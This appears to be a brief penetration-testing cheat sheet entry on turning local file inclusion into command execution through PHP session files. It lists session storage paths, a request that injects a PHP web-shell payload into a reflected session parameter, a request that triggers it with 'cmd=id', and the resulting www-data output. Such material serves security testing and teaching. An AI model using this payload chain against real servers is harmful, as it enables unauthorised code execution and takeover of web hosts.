PHP session

When a web server wants to handle sessions, it can use PHP session cookies (PHPSESSID).

  1. Finding where the sessions are stored.


    • Linux : /var/lib/php5/sess_[PHPSESSID]

    • Linux : /var/lib/php/sessions/sess_[PHPSESSID]

    • Windows : C:\Windows\Temp\

  2. Displaying a PHPSESSID to see if any parameter is reflected inside.


    • The user name for the session (from a parameter called user)

    • The language used by the user (from a parameter called lang)

    Exemple :

GET /?user=/var/lib/php/sessions/sess_[PHPSESSID] HTTP/2


3. Inject some PHP code in the reflected parameter in the session

GET /?user=<%3fphp+system($_GET['cmd'])%3b+%3f> HTTP/2

4. Call the session filewith the vulnerable parameter to trigger a command exection

GET /?user=/var/lib/php/sessions/sess_[PHPSESSID]&cmd=id HTTP/2

</h2> username|s:30:"uid=33(www-data) gid=33(www-data) groups=33(www-data)

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